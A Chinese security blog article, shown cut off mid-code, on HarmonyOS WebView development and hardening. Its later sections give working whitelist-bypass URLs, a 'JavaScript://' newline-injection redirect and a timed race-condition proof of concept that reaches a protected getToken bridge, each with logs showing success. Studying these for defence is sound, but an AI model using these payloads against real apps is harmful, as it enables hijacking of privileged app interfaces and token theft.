【连载】纯鸿蒙应用安全开发指南-Web组件安全
2023-12-4 21:25:37 Author: mp.weixin.qq.com(查看原文) 阅读量:26 收藏

对于移动端应用来说,web组件的安全问题是比较常见的。本文将从webview应用开发和安全隐患两方面来介绍纯鸿蒙态下的web组件。如有错误或思考不周还请留言或私信指正,感谢:)

一. 初识Webview 二. 软件架构 三. Webview应用开发     1. 加载本地页面     2. 加载html数据     3. 加载网络资源     4. 注册JavaScript接口 四. Webview开发安全浅析     1. 网络数据明文传输     2. 是否保存密码信息     3. SSL错误处理与证书双向认证     4. 跨域资源访问     5. 禁用JavaScript执行     6. webview白名单校验         Ⅰ. indexOf校验         Ⅱ. startsWith() & endsWith()校验         Ⅲ. 纯鸿蒙模块@ohos.url获取域名         Ⅳ. 纯鸿蒙模块@ohos.uri校验         Ⅴ. 重定向方式绕过与检测         Ⅵ. JsInterface接口安全分级绕过场景         Ⅶ. JavascriptInterface once more 五. 小结

一. 初识Webview

Web组件用于在应用程序中显示Web页面内容,为开发者提供页面加载、页面交互、页面调试等能力

  • 页面加载:Web组件提供基础的前端页面加载的能力,包括加载网络页面、本地页面、Html格式文本数据。

  • 页面交互:Web组件提供丰富的页面交互的方式,包括:设置前端页面深色模式,新窗口中加载页面,位置权限管理,Cookie管理,应用侧使用前端页面JavaScript等能力。

  • 页面调试:Web组件支持使用Devtools工具调试前端页面。

二. 软件架构

  • webview组件:OpenHarmony的UI组件。

  • nweb:基于CEF构建的OpenHarmony web组件的Native引擎。

  • CEF:CEF全称Chromium Embedded Framework,是一个基于Google Chromium 的开源项目。

  • Chromium: Chromium是一个由Google主导开发的网页浏览器。以BSD许可证等多重自由版权发行并开放源代码。

三. Webview应用开发

页面加载是Web组件的基本功能。根据页面加载数据来源可以分为三种常用场景,包括加载网络页面、加载本地页面、加载HTML格式的富文本数据。页面加载过程中,若涉及网络资源获取,需要配置 ohos.permission.INTERNET网络访问权限。

加载本地页面

在项目中添加两个本地html页面,内容分别为打印 myhtmlWebpage myhtml2Webpage

编写应用加载web组件,默认加载myhtml.html页面,并且提供一个按钮,点击后web组件将加载myhtml2.html页面。代码如下

  1. import common from '@ohos.app.ability.common'

  2. import web_webview from '@ohos.web.webview'

  3. const TAG: string = '[Example].[entry].[EntryAbility.ets]';

  4. @Entry

  5. @Component

  6. struct Index {

  7. @State message: string = 'Hi~'

  8. @State webmsg: string = 'click Open html2'

  9. webviewController: web_webview.WebviewController = new web_webview.WebviewController();

  10. build() {

  11. Row() {

  12. Column() {

  13. Text(this.webmsg)

  14. .fontSize(50)

  15. .fontWeight(FontWeight.Bold)

  16. .onClick(() => {

  17. let context = getContext(this) as common.UIAbilityContext;

  18. try{

  19. // 点击按钮时,通过loadUrl,跳转到local1.html

  20. this.webviewController.loadUrl($rawfile("myhtml2.html"));

  21. } catch (error) {

  22. console.error(`ErrorCode: ${error.code}, Message: ${error.message}`);

  23. }

  24. })

  25. // 组件创建时,通过$rawfile加载本地文件local.html

  26. Web({ src: $rawfile("myhtml.html"), controller: this.webviewController })

  27. }

  28. .width('100%')

  29. }

  30. .height('100%')

  31. }

  32. }

加载html数据

Web组件可以通过loadData接口实现加载HTML格式的文本数据。当开发者不需要加载整个页面,只需要显示一些页面片段时,可通过此功能来快速加载页面

  1. import common from '@ohos.app.ability.common'

  2. import web_webview from '@ohos.web.webview'

  3. const TAG: string = '[Example].[entry].[EntryAbility.ets]';

  4. @Entry

  5. @Component

  6. struct Index {

  7. @State message: string = 'Hi~'

  8. @State webmsg: string = 'click Open html2'

  9. webviewController: web_webview.WebviewController = new web_webview.WebviewController();

  10. build() {

  11. Row() {

  12. Column() {

  13. Text(this.webmsg)

  14. .fontSize(50)

  15. .fontWeight(FontWeight.Bold)

  16. .onClick(() => {

  17. try {

  18. // 点击按钮时,通过loadData,加载HTML格式的文本数据

  19. this.webviewController.loadData(

  20. '<html><body bgcolor=\"white\">HTML Source:<pre>Hello Source</pre></body></html>',

  21. 'text/html',

  22. 'UTF-8'

  23. );

  24. } catch (error) {

  25. console.error(`ErrorCode: ${error.code}, Message: ${error.message}`);

  26. }

  27. })

  28. // 组件创建时,通过$rawfile加载本地文件local.html

  29. Web({ src: $rawfile("myhtml.html"), controller: this.webviewController })

  30. }

  31. .width('100%')

  32. }

  33. .height('100%')

  34. }

  35. }

加载网络资源

开发者可以在Web组件创建的时候指定默认加载的网络页面 。在默认页面加载完成后,如果开发者需要变更此Web组件显示的网络页面,可以通过调用loadUrl()接口加载指定网络网页。加载网络页面,需要在应用程序的 module.json5中配置 ohos.permission.INTERNET网络访问权限,如下

  1. "requestPermissions": [

  2. {

  3. "name": "ohos.permission.INTERNET"

  4. }

  5. ]

  1. // xxx.ets

  2. import web_webview from '@ohos.web.webview';

  3. @Entry

  4. @Component

  5. struct WebComponent {

  6. webviewController: web_webview.WebviewController = new web_webview.WebviewController();

  7. build() {

  8. Column() {

  9. Button('loadUrl')

  10. .onClick(() => {

  11. try {

  12. // 点击按钮时,通过loadUrl,跳转到www.example1.com

  13. this.webviewController.loadUrl('www.example1.com');

  14. } catch (error) {

  15. console.error(`ErrorCode: ${error.code}, Message: ${error.message}`);

  16. }

  17. })

  18. // 组件创建时,加载www.example.com

  19. Web({ src: 'https://developer.harmonyos.com/', controller: this.webviewController})

  20. }

  21. }

  22. }

注册JavaScript接口

在讲解webview的安全风险之前,我们再来看一下如何注册JavaScript接口。在Openharmony中的webview提供了 registerJavaScriptProxy,原型如下

registerJavaScriptProxy(object: object, name: string, methodList: Array): void

参数名类型必填说明
objectobject参与注册的应用侧JavaScript对象。只能声明方法,不能声明属性 。其中方法的参数和返回类型只能为string,number,boolean
namestring注册对象的名称,与window中调用的对象名一致。注册后window对象可以通过此名字访问应用侧JavaScript对象。
methodListArray参与注册的应用侧JavaScript对象的方法。

函数功能注入JavaScript对象到window对象中,并可以在window对象中调用该对象的方法。示例如下

  1. // xxx.ets

  2. import web_webview from '@ohos.web.webview';

  3. @Entry

  4. @Component

  5. struct WebComponent {

  6. webviewController: web_webview.WebviewController = new web_webview.WebviewController();

  7. testObj = {

  8. getData: () => {

  9. return "Data From JsInterface getData()";

  10. }

  11. }

  12. build() {

  13. Column() {

  14. Button('loadUrl')

  15. .onClick(() => {

  16. try {

  17. // 点击按钮时,通过loadUrl,跳转到www.example1.com

  18. this.webviewController.loadUrl('www.example1.com');

  19. } catch (error) {

  20. console.error(`ErrorCode: ${error.code}, Message: ${error.message}`);

  21. }

  22. })

  23. // 组件创建时,加载https://developer.harmonyos.com/

  24. Web({ src: $rawfile("myhtml.html"), controller: this.webviewController})

  25. .javaScriptProxy({

  26. object: this.testObj,

  27. name: "objName",

  28. methodList: ["getData"],

  29. controller: this.webviewController,

  30. }

  31. )

  32. }

  33. }

  34. }

其中加载的myhtml.html源码

  1. <!-- myhtml.html -->

  2. <!DOCTYPE html>

  3. <html>

  4. <meta charset="utf-8">

  5. <body>

  6. <button type="button" onclick="htmlTest()">Click Me!</button>

  7. <p id="demo"></p>

  8. </body>

  9. <script type="text/javascript">

  10. function htmlTest() {

  11. let str=objName.getData();

  12. document.getElementById("demo").innerHTML=str;

  13. console.log('objName.getData result:'+ str)

  14. }

  15. </script>

  16. </html>

四. Webview开发安全浅析

网络数据明文传输

允许加载http的网络资源,这种情况下非常容易受到中间人攻击。通过中间人攻击就可能导致敏感信息泄露,如果在中间人攻击期间获得凭据,则攻击者可以假设该特定网站的受害者身份。在下图中,可以看到应用加载http网页,其中数据可以明文被截获:

FA模型(stage模型暂未找到相关配置)中,我们可以通过在config.json中添加如下配置来禁止应用使用明文流量请求

  1. "deviceConfig": {

  2. "default": {

  3. "supportBackup": false,

  4. "network": {

  5. "cleartextTraffic": false

  6. }

  7. }

  8. }

是否保存密码信息

根据业务需求来决定。使用Web组件的 password(password:boolean)接口,设置是否应保存密码。

SSL错误处理与证书双向认证

SSL的错误处理可能也会引入一些安全问题,如开发者没有获得正确签名的证书而选择忽略证书错误的机制,则可能导致应用容易受到中间人攻击。攻击者借助自制的无效证书通过中间人攻击能够拦截和修改流量。在OpenHarmony中是通过Web组件的接口 onSslErrorReceive中调用event.handler.handleConfirm函数来达到忽略ssl证书的效果,示例如下

  1. // xxx.ets

  2. // https://docs.openharmony.cn/pages/v3.2/zh-cn/application-dev/reference/arkui-ts/ts-basic-components-web.md/#onSslErrorEventReceive9

  3. import web_webview from '@ohos.web.webview'

  4. @Entry

  5. @Component

  6. struct WebComponent {

  7. controller: web_webview.WebviewController = new web_webview.WebviewController()

  8. build() {

  9. Column() {

  10. Web({ src: 'www.example.com', controller: this.controller })

  11. .onSslErrorEventReceive((event) => {

  12. AlertDialog.show({

  13. title: 'onSslErrorEventReceive',

  14. message: 'text',

  15. primaryButton: {

  16. value: 'confirm',

  17. action: () => {

  18. event.handler.handleConfirm()

  19. }

  20. },

  21. secondaryButton: {

  22. value: 'cancel',

  23. action: () => {

  24. event.handler.handleCancel()

  25. }

  26. },

  27. cancel: () => {

  28. event.handler.handleCancel()

  29. }

  30. })

  31. return true

  32. })

  33. }

  34. }

  35. }

SSL证书双向认证。接口onClientAuthenticationRequest,通知用户收到SSL客户端证书请求事件(https://docs.openharmony.cn/pages/v4.0/zh-cn/application-dev/reference/arkui-ts/ts-basic-components-web.md/#onClientAuthenticationRequest9)

  1. // 未对接证书管理的双向认证

  2. // xxx.ets API9

  3. import web_webview from '@ohos.web.webview'

  4. @Entry

  5. @Component

  6. struct WebComponent {

  7. controller: web_webview.WebviewController = new web_webview.WebviewController()

  8. build() {

  9. Column() {

  10. Web({ src: 'www.example.com', controller: this.controller })

  11. .onClientAuthenticationRequest((event) => {

  12. AlertDialog.show({

  13. title: 'onClientAuthenticationRequest',

  14. message: 'text',

  15. primaryButton: {

  16. value: 'confirm',

  17. action: () => {

  18. event.handler.confirm("/system/etc/user.pk8", "/system/etc/chain-user.pem")

  19. }

  20. },

  21. secondaryButton: {

  22. value: 'cancel',

  23. action: () => {

  24. event.handlqq

  25. er.cancel()

  26. }

  27. },

  28. cancel: () => {

  29. event.handler.ignore()

  30. }

  31. })

  32. })

  33. }

  34. }

  35. }

  1. // 对接证书管理的双向认证

  2. //// 1. 构造单例对象GlobalContext

  3. // GlobalContext.ts

  4. export class GlobalContext {

  5. private constructor() {}

  6. private static instance: GlobalContext;

  7. private _objects = new Map<string, Object>();

  8. public static getContext(): GlobalContext {

  9. if (!GlobalContext.instance) {

  10. GlobalContext.instance = new GlobalContext();

  11. }

  12. return GlobalContext.instance;

  13. }

  14. getObject(value: string): Object | undefined {

  15. return this._objects.get(value);

  16. }

  17. setObject(key: string, objectClass: Object): void {

  18. this._objects.set(key, objectClass);

  19. }

  20. }

  21. //// 2. 实现双向认证

  22. // xxx.ets API10

  23. import common from '@ohos.app.ability.common';

  24. import Want from '@ohos.app.ability.Want';

  25. import web_webview from '@ohos.web.webview'

  26. import { BusinessError } from '@ohos.base';

  27. import bundleManager from '@ohos.bundle.bundleManager'

  28. import { GlobalContext } from '../GlobalContext'

  29. let uri = "";

  30. export default class CertManagerService {

  31. private static sInstance: CertManagerService;

  32. private authUri = "";

  33. private appUid = "";

  34. public static getInstance(): CertManagerService {

  35. if (CertManagerService.sInstance == null) {

  36. CertManagerService.sInstance = new CertManagerService();

  37. }

  38. return CertManagerService.sInstance;

  39. }

  40. async grantAppPm(callback: (message: string) => void) {

  41. let message = '';

  42. let bundleFlags = bundleManager.BundleFlag.GET_BUNDLE_INFO_DEFAULT | bundleManager.BundleFlag.GET_BUNDLE_INFO_WITH_APPLICATION;

  43. //注:com.example.myapplication需要写实际应用名称

  44. try {

  45. bundleManager.getBundleInfoForSelf(bundleFlags).then((data) => {

  46. console.info('getBundleInfoForSelf successfully. Data: %{public}s', JSON.stringify(data));

  47. this.appUid = data.appInfo.uid.toString();

  48. }).catch((err: BusinessError) => {

  49. console.error('getBundleInfoForSelf failed. Cause: %{public}s', err.message);

  50. });

  51. } catch (err) {

  52. let message = (err as BusinessError).message;

  53. console.error('getBundleInfoForSelf failed: %{public}s', message);

  54. }

  55. //注:需要在MainAbility.ts文件的onCreate函数里添加GlobalContext.getContext().setObject("AbilityContext", this.context)

  56. let abilityContext = GlobalContext.getContext().getObject("AbilityContext") as common.UIAbilityContext

  57. await abilityContext.startAbilityForResult(

  58. {

  59. bundleName: "com.ohos.certmanager",

  60. abilityName: "MainAbility",

  61. uri: "requestAuthorize",

  62. parameters: {

  63. appUid: this.appUid, //传入申请应用的appUid

  64. }

  65. } as Want)

  66. .then((data: common.AbilityResult) => {

  67. if (!data.resultCode && data.want) {

  68. if (data.want.parameters) {

  69. this.authUri = data.want.parameters.authUri as string; //授权成功后获取返回的authUri

  70. }

  71. }

  72. })

  73. message += "after grantAppPm authUri: " + this.authUri;

  74. uri = this.authUri;

  75. callback(message)

  76. }

  77. }

  78. @Entry

  79. @Component

  80. struct WebComponent {

  81. controller: web_webview.WebviewController = new web_webview.WebviewController();

  82. @State message: string = 'Hello World' //message主要是调试观察使用

  83. certManager = CertManagerService.getInstance();

  84. build() {

  85. Row() {

  86. Column() {

  87. Row() {

  88. //第一步:需要先进行授权,获取到uri

  89. Button('GrantApp')

  90. .onClick(() => {

  91. this.certManager.grantAppPm((data) => {

  92. this.message = data;

  93. });

  94. })

  95. //第二步:授权后,双向认证会通过onClientAuthenticationRequest回调将uri传给web进行认证

  96. Button("ClientCertAuth")

  97. .onClick(() => {

  98. this.controller.loadUrl('https://www.example2.com'); //支持双向认证的服务器网站

  99. })

  100. }

  101. Web({ src: 'https://www.example1.com', controller: this.controller })

  102. .fileAccess(true)

  103. .javaScriptAccess(true)

  104. .domStorageAccess(true)

  105. .onlineImageAccess(true)

  106. .onClientAuthenticationRequest((event) => {

  107. AlertDialog.show({

  108. title: 'ClientAuth',

  109. message: 'Text',

  110. confirm: {

  111. value: 'Confirm',

  112. action: () => {

  113. event.handler.confirm(uri);

  114. }

  115. },

  116. cancel: () => {

  117. event.handler.cancel();

  118. }

  119. })

  120. })

  121. }

  122. }

  123. .width('100%')

  124. .height('100%')

  125. }

  126. }

跨域资源访问

web组件提供接口 fileAccess(fileAccess:boolean),设置是否开启应用中文件系统的访问,默认启用。但笔者目前对openharmony的了解,纯鸿蒙webview似乎不支持跨域的访问操作,如果理解有误还请留言指正。 (https://docs.openharmony.cn/pages/v4.0/zh-cn/application-dev/reference/arkui-ts/ts-basic-components-web.md/#%E5%B1%9E%E6%80%A7)

禁用JavaScript执行

WebViews 默认是允许JavaScript 执行,如果不允许JavaScript脚本执行,可以通过接口 javaScriptAccess(javaScriptAccess:boolean)禁用。

白名单校验

webview应用加载网络资源往往是通过本地白名单的限制加载业务相关的预置资源,应用自身也可能会提供一些敏感功能的接口供网页资源调用,那么白名单的校验也是移动端webview的主要战场之一。白名单校验上往往是编码逻辑上的一些缺陷导致了白名单校验失效而加载了攻击者的恶意页面。我们这里以安卓端两篇经典的文章来思考一下纯鸿蒙下的白名单校验应该怎么去做,一篇是rebeyond的一文彻底搞懂安卓Webview白名单校验,另一篇是hearmen1的BH ASIA议题The Tangled WebView - JavascriptInterface once more。 在一些逻辑校验上(比如通过 indexOf() startsWith() endsWith()等方法进行字符串匹配的校验),安卓和纯鸿蒙并无区别,都是上层代码自实现的检测逻辑,不过本文还是记录下来了,因为并不是所有读者都了解上述两篇文章中的内容。希望通过本文的内容可以让读者更全面的认识纯鸿蒙的白名单攻防:)

indexOf校验

通过indexOf校验纯鸿蒙与安卓并无区别,都是上层代码实现的逻辑判断,示例代码(直接摘用rebeyond前辈原文中的代码:)

  1. private static boolean checkDomain(String inputUrl)

  2. {

  3. String[] whiteList=new String[]{"site1.com","site2.com"};

  4. for (String whiteDomain:whiteList)

  5. {

  6. if (inputUrl.indexOf(whiteDomain)>0)

  7. return true;

  8. }

  9. return false;

  10. }

绕过方式 http://www.rebeyond.net/poc.htm?site1.com。 继续通过如下逻辑取出url中的host来进行匹配

  1. private static boolean checkDomain(String inputUrl)

  2. {

  3. String[] whiteList=new String[]{"site1.com","site2.com"};

  4. String tempStr=inputUrl.replace("://","");

  5. String inputDomain=tempStr.substring(0,tempStr.indexOf("/")); //提取host

  6. for (String whiteDomain:whiteList)

  7. {

  8. if (inputDomain.indexOf(whiteDomain)>0)

  9. return true;

  10. }

  11. return false;

  12. }

绕过方式 http://[email protected]/poc.html。如此访问的将还是www.rebeyond.net域名

startsWith() & endsWith()校验

因为子域名往往也在白名单之中,所以一般不用startsWith或者equals比较,下面看个endsWith的例子,同样来自rebeyond的文章中

  1. private static boolean checkDomain(String inputUrl) throws MalformedURLException {

  2. String[] whiteList=new String[]{"site1.com","site2.com"};

  3. java.net.URL url=new java.net.URL(inputUrl);

  4. String inputDomain=url.getHost(); //提取host

  5. for (String whiteDomain:whiteList)

  6. {

  7. if (inputDomain.endsWith(whiteDomain)) //www.site1.com app.site2.com

  8. return true;

  9. }

  10. return false;

  11. }

这里有个明显的逻辑错误,就是通过如下的域名即可绕过http://rebeyondsite1.com/poc.htm,这种域名直接注册即可。那么只要在endsWith的时候,在白名单前面加个点,如下

  1. private static boolean checkDomain(String inputUrl) throws MalformedURLException {

  2. String[] whiteList=new String[]{"site1.com","site2.com"};

  3. java.net.URL url=new java.net.URL(inputUrl);

  4. String inputDomain=url.getHost(); //提取host

  5. for (String whiteDomain:whiteList)

  6. {

  7. if (inputDomain.endsWith("."+whiteDomain)) //www.site1.com app.site2.com

  8. return true;

  9. }

  10. return false;

  11. }

如此看似是没有问题了。

纯鸿蒙模块@ohos.url获取域名

上述a&b的方式均是在安卓下的测试,使用的是java的代码,那么我们知道纯鸿蒙是不支持java的,那么java中对应的接口java.net.URL在纯鸿蒙中可有类似的实现?答案是肯定的,即@ohos.url,我们写个如下的适用于纯鸿蒙的demo

  1. import Url from '@ohos.url';

  2. export function getWantvalue(key: string, inParam: boolean){

  3. //url: 'http://192.168.3.126\\@www.site1.com/index.html'

  4. let url = globalThis.webview_want.parameters[key.toString()];

  5. let ohurl = Url.URL.parseURL(url);

  6. let ohostname = ohurl.hostname;

  7. let ohost = ohurl.host;

  8. let origin = ohurl.origin;

  9. hilog.info(0x0000, "test", "hostname : %{public}s",ohostname.toString());

  10. hilog.info(0x0000, "test", "host : %{public}s",ohost.toString());

  11. hilog.info(0x0000, "test", "origin : %{public}s",origin.toString());

  12. }

那么在安卓侧如下代码获取'http://192.168.3.126\@www.site1.com/index.html'中的域名

  1. java.net.URL url=new java.net.URL(inputUrl);

  2. String inputDomain=url.getHost(); //提取host

java.net.URL通过getHost获取的是www.site1.com,但实际上访问的是192.168.3.126的服务器,这样的方式也就绕过了上文b中最后的校验。但是在Openharmony中的实现,我们直接看上述纯鸿蒙的代码运行后打印的日志信息

  1. 11-02 15:32:07.623 5917-5917/? I A00000/test: hostname : 192.168.3.126

  2. 11-02 15:32:07.623 5917-5917/? I A00000/test: host : 192.168.3.126

  3. 11-02 15:32:07.623 5917-5917/? I A00000/test: origin : http://192.168.3.126

可以看到,@ohos.url的Url.URL.parseURL方法获取的域名信息是正确的,所以'http://192.168.3.126\@www.site1.com/index.html'这种方式在纯鸿蒙下无法绕过上文中b的校验。同样的https://www.rebeyond.net\.site1.com也无法绕过@ohos.url的检测。(当然目前java和android.net.Uri均已修复这里的逻辑错误)。

纯鸿蒙模块@ohos.uri校验

纯鸿蒙的@ohos.uri同样可以获取域名信息,我们写个测试demo如下

  1. import Url from '@ohos.url';

  2. export function getWantvalue(key: string, inParam: boolean){

  3. //url: JavaScript://www.site1.com/%0d%0awindow.location.href='http://192.168.3.126/index.html'

  4. let url = globalThis.webview_want.parameters[key.toString()];

  5. let ohuri = new Uri.URI(url);

  6. hilog.info(0x0000, "test", "urihost : %{public}s",ohuri.host);

  7. hilog.info(0x0000, "test", "uripath : %{public}s",ohuri.path);

  8. }

打印的日志信息

  1. 12-01 19:56:04.759 29152-29152/com.example.mywant I A00000/test: urihost : www.site1.com

  2. 12-01 19:56:04.761 29152-29152/com.example.mywant I A00000/test: uripath : /

如此我们通过JavaScript://www.site1.com/%0d%0awindow.location.href='http://192.168.3.126/index.html'这种形势的输入,通过@ohos.uri.host得到了site1的域名,实际上也访问了192.168.3.126的域名,实际上是上述输入中的JavaScript代码中的重定向得以执行的结果。

需要注意的是当我们输入如下的畸形数据时'http://192.168.3.126\@www.site1.com/index.html',将造成@ohos.uri崩溃,崩溃日志如下

  1. Lifetime: 0.000000s

  2. Js-Engine: ark

  3. page: pages/webview.js

  4. Error message: Syntax Error. Invalid Uri string

  5. Error code: 10200002

  6. Stacktrace:

  7. at BusinessError (/usr1/hmos_for_system/src/increment/sourcecode/out/generic_generic_arm_64only/hisi_higeneric_newphone_standard/obj/commonlibrary/ets_utils/js_api_module/uri/js_uri.js:6:6)

  8. at URI (/usr1/hmos_for_system/src/increment/sourcecode/out/generic_generic_arm_64only/hisi_higeneric_newphone_standard/obj/commonlibrary/ets_utils/js_api_module/uri/js_uri.js:19:19)

  9. at getWantvalue (entry/src/main/ets/entryability/WebviewAbility.ts:53:21)

  10. at webview (entry/src/main/ets/pages/webview.ets:11:21)

  11. at func_main_0 (entry/src/main/ets/pages/webview.ets:87:14)

重定向方式绕过与检测

在上文 d中,其实已经通过JavaScript的window.location.href重定向来绕过检测并访问恶意网站了。如下的输入"JavaScript://www.site1.com/%0d%0awindow.location.href='http://192.168.3.126/index.html'",@ohos.url和@ohos.uri获取的host信息均为www.site1.com,但实际WebView最后会加载192.168.3.126的服务器资源

  1. 11-02 15:54:23.486 9591-9591/? I A00000/test: ohos.url hostname : www.site1.com

  2. 11-02 15:54:23.486 9591-9591/? I A00000/test: ohos.url host : www.site1.com

  3. 11-02 15:54:23.486 9591-9591/? I A00000/test: ohos.uri host : www.site1.com

  4. 11-02 15:54:23.486 9591-9591/? I A00000/test: window.location.href='http://192.168.3.126/index.html'

对于上述的重定向,通过校验协议名 http/https并限制JavaScript代码的执行是可以防护的。但是对于如下类型的重定向,比如 http://mp.weixinbridge.com/mp/wapredirect?url=http://192.168.3.126/,即在目标白名单中找到一处任意地址重定向的接口,将继续绕过协议名校验,完成重定向至恶意网站。 那么对应的解决方案在安卓中通过重写WebView的shouldOverrideUrlLoading方法,在发起请求前得到一次回调处理的机会,可以检测将请求的url的合法性。 同样在 ohos中, onUrlLoadIntercept可以在网页加载前拦截 url, 参数 event.data获取将要加载的 url,如果 url不在白名单范围内,即可在 onUrlLoadInterceptreturntrue拦截网页加载,反之 returnfalse可以完成网页加载,示例如下

  1. build() {

  2. Column() {

  3. Button('loadUrl')

  4. .onClick(() => {

  5. hilog.info(0x0000, "test", this.url2);

  6. //this.controller.loadUrl(this.url2);

  7. })

  8. Web({ src: this.url2, controller: this.controller })

  9. .onUrlLoadIntercept( event => {

  10. hilog.info(0x0000, "test", "event => %{public}s",event.data);

  11. let realurl = this.controller.getUrl();

  12. let realoriginUrl = this.controller.getOriginalUrl();

  13. hilog.info(0x0000, "test", "UrlIntercept url: %{public}s",realurl);

  14. hilog.info(0x0000, "test", "UrlIntercept original url: %{public}s",realoriginUrl);

  15. if( event.data.toString().startsWith("http://192.168.3.126") )

  16. return false;

  17. return true;

  18. })

  19. }

  20. }

纯鸿蒙的webview通过类似http://www.whitesite.com/redirect?url=http://192.168.3.126/redirect.html的重定向,加载的html内容如下

  1. <html>

  2. <script language="javascript" type="text/javascript">

  3. // 以下方式直接跳转

  4. window.location.href='http://www.baidu.com';

  5. // 以下方式定时跳转

  6. //setTimeout("javascript:location.href='http://www.baidu.com'", 5000);

  7. </script>

  8. </html>

输出的日志如下

可以看到每一次的重定向请求均被 onUrlLoadIntercept拦截到,那么在 onUrlLoadIntercept的回调中进行二次的白名单校验将使重定向无处遁形。

JsInterface接口安全分级绕过场景

在rebeyond的文章中提到了JsInterface接口安全分级绕过场景,这里我们同样在Openharmony的场景下进行分析。针对上述的通过 onUrlLoadIntercept修补场景继续展开,如果某 hap对接多个三方公司,针对不同的第三方公司某些敏感的js接口将提供不同安全等级的服务。比如在如下的 HAP中注册接口 getToken,对 192.168.3.126不允许调用 getTokenwhitesite.com则可以调用

  1. import web_webview from '@ohos.web.webview'

  2. import { getWantvalue } from '../entryability/WebviewAbility'

  3. import { checkDomain } from '../entryability/WebviewAbility'

  4. import Want from '@ohos.app.ability.Want';

  5. import hilog from '@ohos.hilog';

  6. const TAG: string = '[Example].[entry].[EntryAbility.ets]';

  7. @Entry

  8. @Component

  9. struct webview {

  10. @State message: string = 'webview page';

  11. want: Want = globalThis.webview_want;

  12. url: string = (this.want.parameters['url']).toString();

  13. url2:string = getWantvalue('url', true)

  14. requrl:string = null;

  15. controller: web_webview.WebviewController = new web_webview.WebviewController()

  16. testObj = {

  17. getToken: () => {

  18. if( checkDomain(this.url2, "1") ){

  19. hilog.info(0x0000, "test", "call into getToken");

  20. }else{

  21. hilog.info(0x0000, "test", "not allow call getToken");

  22. }

  23. }

  24. }

  25. build() {

  26. Column() {

  27. Button('loadUrl')

  28. .onClick(() => {

  29. hilog.info(0x0000, "test", this.url2);

  30. //this.controller.loadUrl(this.url2);

  31. })

  32. Web({ src: this.url2, controller: this.controller })

  33. .onUrlLoadIntercept( event => {

  34. hilog.info(0x0000, "test", "event => %{public}s",event.data);

  35. this.url2 = event.data.toString();

  36. let realurl = this.controller.getUrl();

  37. let realoriginUrl = this.controller.getOriginalUrl();

  38. if( checkDomain(this.url2,"0") )

  39. return false;

  40. return true;

  41. })

  42. .javaScriptProxy({

  43. object: this.testObj,

  44. name: "objName",

  45. methodList: ["getToken"],

  46. controller: this.controller,

  47. })

  48. }

  49. }

  50. }

checkdomain的实现如下

  1. export function checkDomain(url: string, level: string){

  2. if( !url.startsWith("http://") && !url.startsWith("https://")){

  3. hilog.info(0x0000, "test", "[checkDomain]: startsWith check failed!");

  4. return false;

  5. }

  6. let whitelist = ['whitesite.com','192.168.3.126'];

  7. if( level == "1" ) {

  8. // 高安全级别

  9. whitelist = ['whitesite.com']

  10. }

  11. let uri = null;

  12. try{

  13. uri = new Uri.URI(url);

  14. }catch(Exception ){

  15. hilog.info(0x0000, "test", "[checkDomain]: Uri.URI Exception!");

  16. return false;

  17. }

  18. let host = uri.host;

  19. for( let i=0; i<whitelist.length; i++ ){

  20. if( host.endsWith(whitelist[i]) ) {

  21. hilog.info(0x0000, "test", "[checkDomain]: endsWith check pass! ");

  22. return true;

  23. }

  24. }

  25. }

web前端安全中一个常用的技术 LoadandOverwriteRaceCondition。当测试 http://192.168.3.126/redirect.html如下

  1. <script>

  2. window.objName.getToken();

  3. </script>

返回失败

  1. 11-06 14:41:36.018 26749-26749/com.example.mywant I A00000/test: event => http://192.168.3.126/redirect.html

  2. 11-06 14:41:36.111 26749-26749/com.example.mywant I A00000/test: not allow call getToken

修改 poc内容如下

  1. <script>

  2. var test = function(){alert(window.objName.getToken());};

  3. setTimeout(test,90);

  4. document.location.href='https://www.whitesite.com';

  5. </script>

getToken返回成功

  1. 11-06 15:22:30.797 12200-12200/com.example.mywant I A00000/test: event => http://192.168.3.126/redirect.html

  2. 11-06 15:22:30.882 12200-12200/com.example.mywant I A00000/test: event => https://www.whitesite.com/

  3. 11-06 15:22:30.972 12200-12200/com.example.mywant I A00000/test: [checkDomain]: endsWith check pass!

  4. 11-06 15:22:30.972 12200-12200/com.example.mywant I A00000/test: call into getToken

分析:当请求 http://192.168.3.126/redirect.html时本不应该可以访问 getTokent接口,但是当 document.location.href='https://www.whitesite.com';执行时, onUrlLoadIntercept被调用,此时 url2被赋值为 www.whitesite.compoc中延时执行了 getToken,由于此时 192.168.3.126的DOM还没销毁,所以执行 getToken成功,如果延时的时间较长,那么dom销毁的情况下, setTimeout设置的延时执行函数也不会再执行。 如上也在一种环境下绕过了校验。注意上述的代码中,我们首先使用的使用的是参数 event获取当前拦截的 url,在上述代码中我们还可以看到 this.controller获取 urlOriginalUrl,那么我们通过修改校验代码如下,看一下这两个

  1. let url = this.controller.getUrl();

  2. let originUrl = this.controller.getOriginalUrl();

  3. hilog.info(0x0000, "test", "UrlIntercept url: %{public}s",url);

  4. hilog.info(0x0000, "test", "UrlIntercept original url: %{public}s",originUrl);

输出日志如下

  1. 12-01 20:54:50.062 3347-3347/com.example.mywant I A00000/test: event => http://192.168.3.126/redirect.html

  2. 12-01 20:54:50.065 3347-3347/com.example.mywant I A00000/test: UrlIntercept url: http://192.168.3.126/redirect.html

  3. 12-01 20:54:50.065 3347-3347/com.example.mywant I A00000/test: UrlIntercept original url:

如上输出的日志信息,我们可以考虑通过 this.controller.getUrl()来做校验,从而防止 LoadandOverwriteRaceCondition的攻击,说做就做,测试代码如下

  1. import web_webview from '@ohos.web.webview'

  2. import { getWantvalue } from '../entryability/WebviewAbility'

  3. import { checkDomain } from '../entryability/WebviewAbility'

  4. import Want from '@ohos.app.ability.Want';

  5. import hilog from '@ohos.hilog';

  6. const TAG: string = '[Example].[entry].[EntryAbility.ets]';

  7. @Entry

  8. @Component

  9. struct webview {

  10. @State message: string = 'webview page';

  11. want: Want = globalThis.webview_want;

  12. url: string = (this.want.parameters['url']).toString();

  13. url2:string = getWantvalue('url', true)

  14. requrl:string = null;

  15. controller: web_webview.WebviewController = new web_webview.WebviewController()

  16. testObj = {

  17. getToken: () => {

  18. if( checkDomain(this.url2, "1") ){

  19. hilog.info(0x0000, "test", "call into getToken");

  20. }else{

  21. hilog.info(0x0000, "test", "not allow call getToken");

  22. }

  23. }

  24. }

  25. build() {

  26. Column() {

  27. Button('loadUrl')

  28. .onClick(() => {

  29. hilog.info(0x0000, "test", this.url2);

  30. //this.controller.loadUrl(this.url2);

  31. })

  32. Web({ src: this.url2, controller: this.controller })

  33. .onUrlLoadIntercept( event => {

